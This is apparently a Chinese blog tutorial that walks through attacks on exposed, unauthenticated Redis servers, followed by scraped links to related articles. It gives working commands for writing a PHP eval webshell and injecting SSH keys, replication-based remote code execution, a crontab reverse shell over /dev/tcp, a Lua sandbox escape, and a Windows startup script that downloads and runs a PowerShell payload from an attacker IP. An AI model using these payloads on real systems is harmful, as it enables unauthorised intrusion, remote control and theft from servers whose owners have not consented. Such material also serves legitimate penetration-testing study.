Redis的攻击手法
目录
Redis概述
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。
Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis未授权
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
漏洞发现
漏洞发现就是查看IP是否开启6379端口。
FOFA语句
port="6379" && protocol="redis"

漏洞验证
使用redis管理工具 点击下载

Redis写shell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
漏洞利用
写入文件
config set dir /var/www/html/
config set dbfilename test.php
set xxx "\r\n\r\<?php @eval($_POST['test']);?>\r\n\r\"
//这里的\r\n\r\代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
save


Redis写公钥
前提条件
- 开启ssh服务,并且可以连接
- 运行Redis的用户为root用户
漏洞利用
首先生成ssh-rsa密钥
ssh-keygen -t rsa

把公钥导入key.txt,前后添加\n\n防止写入的公钥乱码导致不可用
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将生成的公钥写入Redis服务器的内存之中
cat key.txt | redis-cli -h 127.0.0.1 -p 6379 -x set xxx

设置路径和保存的文件名,将内存变量导入磁盘文件
redis-cli -h 127.0.0.1 -p 6379 //连接Redis
config set dir /root/.ssh/ //把目录设为/root/.ssh/
config get dir //查看目录
config set dbfilename "authorized_keys" //文件名设置为authorized_keys
save //保存

使用ssh连接
ssh root@172.20.10.3 -p 22 -i /root/.ssh/id_rsa

主从复制RCE
漏洞简介:
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
漏洞利用
网上公开的几个利用脚本,选择哪个都行
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/Ridter/redis-rce
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
我使用redis-rogue-server来复现
使用教程:
-h, --help 显示此帮助信息并退出
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT 目标redis端口,默认6379
--lhost=LOCAL_HOST 攻击服务器 ip
--lport=LOCAL_PORT 攻击服务器监听端口,默认21000
--exp=EXP_FILE 要加载的 Redis 模块,默认为 exp.so
-v, --verbose 显示完整的数据流
首先下载脚本,编译so文件

交互式的shell
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1

反弹shell

计划任务反弹shell
利用条件:
- 仅限centos
漏洞利用
set xx "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/6336 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
//大约等待一分钟就能收到shell

Redis Lua沙盒绕过命令执行
漏洞介绍:
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本1的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
利用条件:
- Ubuntu系统
利用方式:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

Redis在Windows下利用方式
介绍:
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护开源 windows 版本只有3.X的,所以适用用Linux的写公钥和主从复制不适合Windows系统的。
写webshell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
写入文件(跟Linux的操作相同)
config set dir C:\phpstudy_pro\WWW\
config set dbfilename test.php
set xxx "<?php @eval($_POST['test']);?>"
save

写启动项
写入到启动项的缺点就是我们需要使对方电脑重启才能上线木马
启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
//用户路径需要去猜测,把常见的系统用户名尝试一下(admin、Administrator、test、user、guest、guanli..等等)
由于我们写入的文件存在一些版本信息等垃圾数据,所以我们写入一个bat下载运行木马即可,可以用cs简单实现。

把生成的powershell脚本写入到bat文件
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))"
Redis写入脚本
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename 1.bat
set xxx "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))\"\r\n\r\n"
save
重启电脑即可上线


写入无损文件
原理:
利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了
利用脚本
使用方法:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]


成功写入
还有一些其他方式,比如03系统可以写入mof文件,可以写入dll进行劫持,以后有空在更吧。
参考
https://www.freebuf.com/articles/web/289231.html
https://www.freebuf.com/articles/web/256655.html
https://xz.aliyun.com/t/7940#toc-1
https://nosec.org/home/detail/4464.html
Redis的攻击手法的更多相关文章
- 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法
360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...
- Redis的一些攻击手法整理
Redis基础 1 Redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开 ...
- Java 7爆最新漏洞,10年前的攻击手法仍有效
英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...
- RDPInception攻击手法
在讲RDPInception攻击手段之前,我们先了解一下RDP远程桌面(Remote Desktop Protocol)协议.RDP远程桌面协议(Remote Desktop Protocol)是一个 ...
- redis漏洞攻击
参考: https://www.cnblogs.com/kobexffx/p/11000337.html 利用redis漏洞获得root权限,挖矿. 解决方法: 用普通帐号启redis,用云的redi ...
- 【漏洞复现】永恒之蓝 ms17-010 漏洞利用 攻击手法
日期:2018-07-21 21:09:16 介绍:永恒之蓝利用的 ms17-010 漏洞,拿 Shell.查看文件.获取密码. 0x01.实验环境 攻击机 系统:macOS Sierra 10.12 ...
- 二十五:XSS跨站值原理分类及攻击手法
HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...
- 对一次 redis 未授权写入攻击的分析以及学习
前段时间自己使用 redis 开发的时候,搞了一个 docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结 ...
- redis 五种常见攻击方法
如果需要大佬写好的脚本,可以直接去github上面搜 参考文章:https://www.cnblogs.com/wineme/articles/11731612.html https://www ...
- Redis配置及攻击利用
Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
随机推荐
- 第六十七篇:Vue的计算属性
好家伙, 1.什么是计算属性? 首先它是一种属性,其次他有计算这个特殊的性质, 它是一个依赖于其他属性的属性,当依赖的属性发生变化的时候就会触发我们计算属性的逻辑 它会对这个属性进行计算, 所以说它是 ...
- 记一次 .NET 某数控机床控制程序 卡死分析
一:背景 1. 讲故事 前段时间有位朋友微信上找到我,说它的程序出现了卡死,让我帮忙看下是怎么回事? 说来也奇怪,那段时间求助卡死类的dump特别多,被迫训练了一下对这类问题的洞察力 ,再次声明一下, ...
- ClangFormat配置备份
{ # 语言 Language: Cpp, # 水平对齐表达式的操作数 AlignOperands: true, # 不对包含头文件进行排序 SortIncludes: false, # 对齐注释 A ...
- MySQL InnoDB缓存
1. 背景 对于各种用户数据.索引数据等各种数据都是需要持久化存储到磁盘,然后以"页"为单位进行读写. 相对于直接读写缓存,磁盘IO的成本相当高昂. 对于读取的页面数据,并不是使用 ...
- P8539 「Wdoi-2」来自地上的支援 题解
思路 根据题意,如果每次询问选中的为第 \(x\) 个数,那么前 \(x-1\) 次操作一定不会选中第 \(x\) 个数.(感觉在说废话.) 同样,因为第 \(x\) 个数必须被选中 \(k\) 次, ...
- 记录一下对jdk8后的接口的一些理解
对于jdk8后的接口,接口中加入了可以定义默认方法和静态方法. 为什么要这样设计呢? 是为了在给接口扩展方法的时候,不会影响已经实现了该接口的类 加入默认方法可以解决:在添加方法的同时,不影响现有的实 ...
- ProxySQL 密码管理
ProxySQL是一个协议感知的proxy.由于ProxySQL基于流量进行路由,当一个客户端连接ProxySQL时,它还无法识别它的目标主机组,因此ProxySQL需要对该客户端进行认证.基于此,需 ...
- Elasticsearch 集群健康值红色终极解决方案
文章转载自: https://mp.weixin.qq.com/s?__biz=MzI2NDY1MTA3OQ==&mid=2247483905&idx=1&sn=acaff63 ...
- img和div之间有间隙的原因及解决方法
div 中 存在 img标签,由于img标签的 display:inline-block 属性. #####display:inline-block布局的元素在chrome下会出现几像素的间隙,原因是 ...
- 中国数字化是怎么转型成新范式TOP 50的?
我不大认可"中国数字化转型成新范式TOP 50"的,确切的说,照着"中国数字化转型新范式TOP 50"做转型,大概率失败,对中国企业数字化转型的帮助甚微 ,尤其 ...